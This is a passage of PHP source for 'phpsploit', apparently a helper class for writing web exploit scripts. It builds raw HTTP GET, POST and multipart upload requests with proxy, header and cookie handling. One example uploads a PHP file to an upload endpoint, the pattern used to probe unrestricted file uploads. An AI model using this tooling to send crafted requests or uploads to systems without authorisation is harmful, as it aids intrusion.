&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;You&nbsp;can&nbsp;now&nbsp;call&nbsp;the&nbsp;getheader()&nbsp;/&nbsp;getcontent()&nbsp;function&nbsp;without&nbsp;parameters
&nbsp;*
&nbsp;*&nbsp;[2006-12-30]&nbsp;(1.0)
&nbsp;*&nbsp;&nbsp;*&nbsp;First&nbsp;version
&nbsp;*&nbsp;
&nbsp;*/

class&nbsp;phpsploit&nbsp;{

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it,&nbsp;this&nbsp;is&nbsp;the&nbsp;main&nbsp;function.
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;sock()
	{
		if(!empty($this-&gt;proxyhost)&nbsp;&amp;&amp;&nbsp;!empty($this-&gt;proxyport))&nbsp;$socket&nbsp;=&nbsp;fsockopen($this-&gt;proxyhost,$this-&gt;proxyport);
		else&nbsp;$socket&nbsp;=&nbsp;fsockopen($this-&gt;host,$this-&gt;port);
		
		if(!$socket)&nbsp;die(&quot;Error:&nbsp;The&nbsp;host&nbsp;doesn't&nbsp;exist&quot;);
		
		if($this-&gt;method===&quot;get&quot;)&nbsp;$this-&gt;packet&nbsp;=&nbsp;&quot;GET&nbsp;&quot;.$this-&gt;url.&quot;&nbsp;HTTP/1.1\r\n&quot;;
		elseif($this-&gt;method===&quot;post&quot;&nbsp;or&nbsp;$this-&gt;method===&quot;formdata&quot;)&nbsp;$this-&gt;packet&nbsp;=&nbsp;&quot;POST&nbsp;&quot;.$this-&gt;url.&nbsp;&quot;&nbsp;HTTP/1.1\r\n&quot;;
		else&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;method&quot;);
		
		if(!empty($this-&gt;proxyuser))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;Proxy-Authorization:&nbsp;Basic&nbsp;&quot;.base64_encode($this-&gt;proxyuser.&quot;:&quot;.$this-&gt;proxypass).&quot;\r\n&quot;;
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Host:&nbsp;&quot;.$this-&gt;host.&quot;\r\n&quot;;
		
		if(!empty($this-&gt;agent))&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;User-Agent:&nbsp;&quot;.$this-&gt;agent.&quot;\r\n&quot;;
		if(!empty($this-&gt;header))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;header.&quot;\r\n&quot;;
		if(!empty($this-&gt;cookie))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;Cookie:&nbsp;&quot;.$this-&gt;cookie.&quot;\r\n&quot;;
		
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n&quot;;
		if($this-&gt;method===&quot;post&quot;)
		{
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data.&quot;\r\n&quot;;
		}
		elseif($this-&gt;method===&quot;formdata&quot;)
		{
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------&quot;.$this-&gt;boundary.&quot;\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data;
		}
		$this-&gt;packet&nbsp;.=&nbsp;&quot;\r\n&quot;;
		$this-&gt;recv&nbsp;=&nbsp;'';
		
		fputs($socket,$this-&gt;packet);
		while(!feof($socket))&nbsp;$this-&gt;recv&nbsp;.=&nbsp;fgets($socket);
		fclose($socket);
		
		if($this-&gt;cookiejar)&nbsp;$this-&gt;cookiejar($this-&gt;getheader($this-&gt;recv));
		if($this-&gt;allowredirection)&nbsp;return&nbsp;$this-&gt;allowredirection($this-&gt;recv);
		else&nbsp;return&nbsp;$this-&gt;recv;
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;cookie&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;name&quot;,&quot;value&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;name=newvalue&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;othername=overvalue;&nbsp;xx=zz;&nbsp;y=u&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookiename
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookievalue
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;addcookie($cookn,$cookv='')
	{
		//&nbsp;$this-&gt;addcookie(&quot;name&quot;,&quot;value&quot;);&nbsp;work&nbsp;avec&nbsp;replace
		if(!empty($cookv))
		{
			if($cookv&nbsp;===&nbsp;&quot;deleted&quot;)&nbsp;$cookv='';&nbsp;//&nbsp;cookiejar(1)&nbsp;&amp;&amp;&nbsp;Set-Cookie:&nbsp;name=delete
			if(!empty($this-&gt;cookie))
			{
			&nbsp;&nbsp;&nbsp;&nbsp;if(preg_match(&quot;/$cookn=/&quot;,$this-&gt;cookie))
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this-&gt;cookie&nbsp;=&nbsp;preg_replace(&quot;/$cookn=(\S*);/&quot;,&quot;$cookn=$cookv;&quot;,$this-&gt;cookie);
			&nbsp;&nbsp;&nbsp;&nbsp;}
			&nbsp;&nbsp;&nbsp;&nbsp;else
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this-&gt;cookie&nbsp;.=&nbsp;&quot;&nbsp;&quot;.$cookn.&quot;=&quot;.$cookv.&quot;;&quot;;&nbsp;//&nbsp;&quot;&nbsp;&quot;.
			&nbsp;&nbsp;&nbsp;&nbsp;}
			}
			else
			{
				$this-&gt;cookie&nbsp;=&nbsp;$cookn.&quot;=&quot;.$cookv.&quot;;&quot;;
			}
		}
		//&nbsp;$this-&gt;addcookie(&quot;name=value;&nbsp;othername=othervalue&quot;);
		else
		{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;if(!empty($this-&gt;cookie))
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookn&nbsp;=&nbsp;preg_replace(&quot;/(.*);$/&quot;,&quot;$1&quot;,$cookn);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookarr&nbsp;=&nbsp;explode(&quot;;&quot;,str_replace(&quot;&nbsp;&quot;,&nbsp;&quot;&quot;,$cookn));
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	for($i=0;$i&lt;count($cookarr);$i++)
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		preg_match(&quot;/(\S*)=(\S*)/&quot;,$cookarr[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$this-&gt;addcookie($cookn,$cookv);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	}
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;}
			&nbsp;else
			&nbsp;{
			&nbsp;	$cookn&nbsp;=&nbsp;((substr($cookn,(strlen($cookn)-1),1))===&quot;;&quot;)&nbsp;?&nbsp;$cookn&nbsp;:&nbsp;$cookn.&quot;;&quot;;
			&nbsp;	$this-&gt;cookie&nbsp;=&nbsp;$cookn;			
			&nbsp;}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;headers&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;headername&quot;,&quot;headervalue&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;headername:&nbsp;headervalue&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headername
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headervalue
	&nbsp;*/
	public&nbsp;function&nbsp;addheader($headern,$headervalue='')
	{
		//&nbsp;$this-&gt;addheader(&quot;name&quot;,&quot;value&quot;);
		if(!empty($headervalue))
		{
			if(!empty($this-&gt;header))
			{
				if(preg_match(&quot;/$headern:/&quot;,$this-&gt;header))
				{
					$this-&gt;header&nbsp;=&nbsp;preg_replace(&quot;/$headern:&nbsp;(\S*)/&quot;,&quot;$headern:&nbsp;$headervalue&quot;,$this-&gt;header);
				}
				else
				{
					$this-&gt;header&nbsp;.=&nbsp;&quot;\r\n&quot;.$headern.&quot;:&nbsp;&quot;.$headervalue;
				}
			}
			else
			{
				$this-&gt;header=$headern.&quot;:&nbsp;&quot;.$headervalue;
			}
		}
		//&nbsp;$this-&gt;addheader(&quot;name:&nbsp;value&quot;);
		else&nbsp;
		{
			if(!empty($this-&gt;header))
			{
				$headarr&nbsp;=&nbsp;explode(&quot;:&nbsp;&quot;,$headern);
				$headern&nbsp;=&nbsp;$headarr[0];
				$headerv&nbsp;=&nbsp;$headarr[1];
				$this-&gt;addheader($headern,$headerv);
			}
			else
			{
				$this-&gt;header=$headern;
			}
		}
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;proxy(&quot;proxyip&quot;,&quot;8118&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;proxy(&quot;proxyip:8118&quot;)
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyhost
	&nbsp;*&nbsp;@param&nbsp;integer&nbsp;$proxyport
	&nbsp;*/
	public&nbsp;function&nbsp;proxy($proxy,$proxyp='')
	{
		//&nbsp;$this-&gt;proxy(&quot;localhost:8118&quot;);
		if(empty($proxyp))
		{
			preg_match(&quot;/^(\S*):(\d+)$/&quot;,$proxy,$proxarr);
			$proxh&nbsp;=&nbsp;$proxarr[1];
			$proxp&nbsp;=&nbsp;$proxarr[2];
			$this-&gt;proxyhost=$proxh;
			$this-&gt;proxyport=$proxp;
		}
		//&nbsp;$this-&gt;proxy(&quot;localhost&quot;,8118);
		else&nbsp;
		{
			$this-&gt;proxyhost=$proxy;
			$this-&gt;proxyport=intval($proxyp);
		}
		if($this-&gt;proxyport&nbsp;&gt;&nbsp;65535)&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server
	&nbsp;*&nbsp;which&nbsp;requires&nbsp;a&nbsp;basic&nbsp;authentification.&nbsp;Several
	&nbsp;*&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;proxyauth(&quot;darkfig&quot;,&quot;dapasswd&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;proxyauth(&quot;darkfig:dapasswd&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyuser
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxypass
	&nbsp;*/
	public&nbsp;function&nbsp;proxyauth($proxyauth,$proxypasse='')
	{
		//&nbsp;$this-&gt;proxyauth(&quot;darkfig:password&quot;);
		if(empty($proxypasse))
		{
			preg_match(&quot;/^(.*):(.*)$/&quot;,$proxyauth,$proxautharr);
			$proxu&nbsp;=&nbsp;$proxautharr[1];
			$proxp&nbsp;=&nbsp;$proxautharr[2];
			$this-&gt;proxyuser=$proxu;
			$this-&gt;proxypass=$proxp;
		}
		//&nbsp;$this-&gt;proxyauth(&quot;darkfig&quot;,&quot;password&quot;);
		else
		{
			$this-&gt;proxyuser=$proxyauth;
			$this-&gt;proxypass=$proxypasse;
		}
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;set&nbsp;the&nbsp;&quot;User-Agent&quot;&nbsp;header.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;possible&nbsp;to&nbsp;do&nbsp;that:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;agent(&quot;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;User-Agent:&nbsp;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;User-Agent&quot;,&quot;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$useragent
	&nbsp;*/
	public&nbsp;function&nbsp;agent($useragent)
	{
		$this-&gt;agent=$useragent;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;header&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showheader();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$header
	&nbsp;*/
	public&nbsp;function&nbsp;showheader()
	{
		return&nbsp;$this-&gt;header;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;cookie&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showcookie();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$storedcookies
	&nbsp;*/
	public&nbsp;function&nbsp;showcookie()
	{
		return&nbsp;$this-&gt;cookie;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;last&nbsp;formed
	&nbsp;*&nbsp;http&nbsp;request&nbsp;(the&nbsp;http&nbsp;packet).
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showlastrequest();
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$last_http_request
	&nbsp;*/
	public&nbsp;function&nbsp;showlastrequest()
	{
		return&nbsp;$this-&gt;packet;
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;GET&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;get(&quot;http://localhost&quot;);
	&nbsp;*&nbsp;$this-&gt;get(&quot;http://localhost:888/xd/tst.php&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	public&nbsp;function&nbsp;get($url)
	{
		$this-&gt;target($url);
		$this-&gt;method=&quot;get&quot;;
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;POST&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;post(&quot;http://localhost/index.php&quot;,&quot;admin=1&amp;user=dark&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$postdata
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/	
	public&nbsp;function&nbsp;post($url,$data)
	{
		$this-&gt;target($url);
		$this-&gt;method=&quot;post&quot;;
		$this-&gt;data=$data;
		return&nbsp;$this-&gt;sock();
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;POST&nbsp;method&nbsp;using&nbsp;the&nbsp;multipart/form-data&nbsp;enctype.&nbsp;
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$array&nbsp;=&nbsp;array(
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&quot;http://localhost/upload.php&quot;,
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_boundary&nbsp;=&gt;&nbsp;&quot;123456&quot;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;email&quot;&nbsp;=&gt;&nbsp;&quot;[email protected]&quot;,
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;varname&quot;&nbsp;=&gt;&nbsp;array(
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_type&nbsp;=&gt;&nbsp;&quot;image/gif&quot;,&nbsp;&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_transfert&nbsp;=&gt;&nbsp;&quot;binary&quot;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_filename&nbsp;=&gt;&nbsp;&quot;hello.php&quot;,
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_content&nbsp;=&gt;&nbsp;&quot;&lt;?php&nbsp;echo&nbsp;':)';&nbsp;?&gt;&quot;));
	&nbsp;*&nbsp;$this-&gt;formdata($array);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;array&nbsp;$array
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	public&nbsp;function&nbsp;formdata($array)
	{
		$this-&gt;target($array[frmdt_url]);
		$this-&gt;method=&quot;formdata&quot;;
		$this-&gt;data='';
		if(!isset($array[frmdt_boundary]))&nbsp;$this-&gt;boundary=&quot;phpsploit&quot;;
		else&nbsp;$this-&gt;boundary=$array[frmdt_boundary];
		foreach($array&nbsp;as&nbsp;$key&nbsp;=&gt;&nbsp;$value)
		{
			if(!preg_match(&quot;#^frmdt_(boundary|url)#&quot;,$key))
			{
				$this-&gt;data&nbsp;.=&nbsp;&quot;-----------------------------&quot;.$this-&gt;boundary.&quot;\r\n&quot;;
				$this-&gt;data&nbsp;.=&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;&quot;.$key.&quot;\&quot;;&quot;;
				if(!is_array($value))
				{
					$this-&gt;data&nbsp;.=&nbsp;&quot;\r\n\r\n&quot;.$value.&quot;\r\n&quot;;
				}
				else
				{
					$this-&gt;data&nbsp;.=&nbsp;&quot;&nbsp;filename=\&quot;&quot;.$array[$key][frmdt_filename].&quot;\&quot;;\r\n&quot;;
					if(isset($array[$key][frmdt_type]))&nbsp;$this-&gt;data&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;&quot;.$array[$key][frmdt_type].&quot;\r\n&quot;;
					if(isset($array[$key][frmdt_transfert]))&nbsp;$this-&gt;data&nbsp;.=&nbsp;&quot;Content-Transfer-Encoding:&nbsp;&quot;.$array[$key][frmdt_transfert].&quot;\r\n&quot;;
					$this-&gt;data&nbsp;.=&nbsp;&quot;\r\n&quot;.$array[$key][frmdt_content].&quot;\r\n&quot;;
				}
			}
		}
		$this-&gt;data&nbsp;.=&nbsp;&quot;-----------------------------&quot;.$this-&gt;boundary.&quot;--\r\n&quot;;
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;content&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;headers.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;getcontent($this-&gt;get(&quot;http://localhost/&quot;));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;getcontent();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlythecontent
	&nbsp;*/
	public&nbsp;function&nbsp;getcontent($code='')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;
		$content&nbsp;=&nbsp;explode(&quot;\n&quot;,$code);
		$onlycode&nbsp;=&nbsp;'';
		for($i=1;$i&lt;count($content);$i++)
		{
			if(!preg_match(&quot;/^(\S*):/&quot;,$content[$i]))&nbsp;$ok&nbsp;=&nbsp;1;
			if($ok)&nbsp;$onlycode&nbsp;.=&nbsp;$content[$i].&quot;\n&quot;;
		}
		return&nbsp;$onlycode;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;content.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;getheader($this-&gt;post(&quot;http://localhost/x.php&quot;,&quot;x=1&amp;z=2&quot;));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;getheader();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlytheheaders
	&nbsp;*/
	public&nbsp;function&nbsp;getheader($code='')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;
		$header&nbsp;=&nbsp;explode(&quot;\n&quot;,$code);
		$onlyheader&nbsp;=&nbsp;$header[0].&quot;\n&quot;;
		for($i=1;$i&lt;count($header);$i++)
		{
			if(!preg_match(&quot;/^(\S*):/&quot;,$header[$i]))&nbsp;break;
			$onlyheader&nbsp;.=&nbsp;$header[$i].&quot;\n&quot;;
		}
		return&nbsp;$onlyheader;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;cookiejar()&nbsp;function.
	&nbsp;*&nbsp;It&nbsp;adds&nbsp;the&nbsp;value&nbsp;of&nbsp;the&nbsp;&quot;Set-Cookie&quot;&nbsp;header&nbsp;in&nbsp;the&nbsp;&quot;Cookie&quot;
	&nbsp;*&nbsp;header&nbsp;for&nbsp;the&nbsp;next&nbsp;request.&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;getcookie($code)
	{
		$carr&nbsp;=&nbsp;explode(&quot;\n&quot;,str_replace(&quot;\r\n&quot;,&quot;\n&quot;,$code));
		for($z=0;$z&lt;count($carr);$z++)
		{
			if(preg_match(&quot;/set-cookie:&nbsp;(.*)/i&quot;,$carr[$z],$cookarr))
			{
				$cookie[]&nbsp;=&nbsp;preg_replace(&quot;/expires=(.*)(GMT||UTC)(\S*)$/i&quot;,&quot;&quot;,preg_replace(&quot;/path=(.*)/i&quot;,&quot;&quot;,$cookarr[1]));
			}
		}

		for($i=0;$i&lt;count($cookie);$i++)
		{
			preg_match(&quot;/(\S*)=(\S*)(|;)/&quot;,$cookie[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;addcookie($cookn,$cookv);
		}
&nbsp;&nbsp;&nbsp;&nbsp;}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urltarg
	&nbsp;*/
	private&nbsp;function&nbsp;target($urltarg)
	{
		if(!preg_match(&quot;/^http:\/\/(.*)\//&quot;,$urltarg))&nbsp;$urltarg&nbsp;.=&nbsp;&quot;/&quot;;
		$this-&gt;url=$urltarg;
		
		$array&nbsp;=&nbsp;explode(&quot;/&quot;,str_replace(&quot;http://&quot;,&quot;&quot;,preg_replace(&quot;/:(\d+)/&quot;,&quot;&quot;,$urltarg)));
		$this-&gt;host=$array[0];

		preg_match(&quot;/:(\d+)\//&quot;,$urltarg,$matches);
		$this-&gt;port=empty($matches[1])&nbsp;?&nbsp;80&nbsp;:&nbsp;$matches[1];
		
		$temp&nbsp;=&nbsp;str_replace(&quot;http://&quot;,&quot;&quot;,preg_replace(&quot;/:(\d+)/&quot;,&quot;&quot;,$urltarg));
		preg_match(&quot;/\/(.*)\//&quot;,$temp,$matches);
		$this-&gt;path=str_replace(&quot;//&quot;,&quot;/&quot;,&quot;/&quot;.$matches[1].&quot;/&quot;);
	
		if($this-&gt;port&nbsp;&gt;&nbsp;65535)&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	
	
	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;extract&nbsp;all&nbsp;&quot;Set-Cookie&quot;&nbsp;headers&nbsp;values
	&nbsp;*&nbsp;and&nbsp;it&nbsp;will&nbsp;automatically&nbsp;add&nbsp;them&nbsp;into&nbsp;the&nbsp;&quot;Cookie&quot;&nbsp;header
	&nbsp;*&nbsp;for&nbsp;all&nbsp;next&nbsp;requests.
	&nbsp;*
	&nbsp;*&nbsp;$this-&gt;cookiejar(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this-&gt;cookiejar(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;cookiejar($code)
	{
		if($code===0)&nbsp;$this-&gt;cookiejar='';
		if($code===1)&nbsp;$this-&gt;cookiejar=1;
		else
		{
			$this-&gt;getcookie($code);
		}
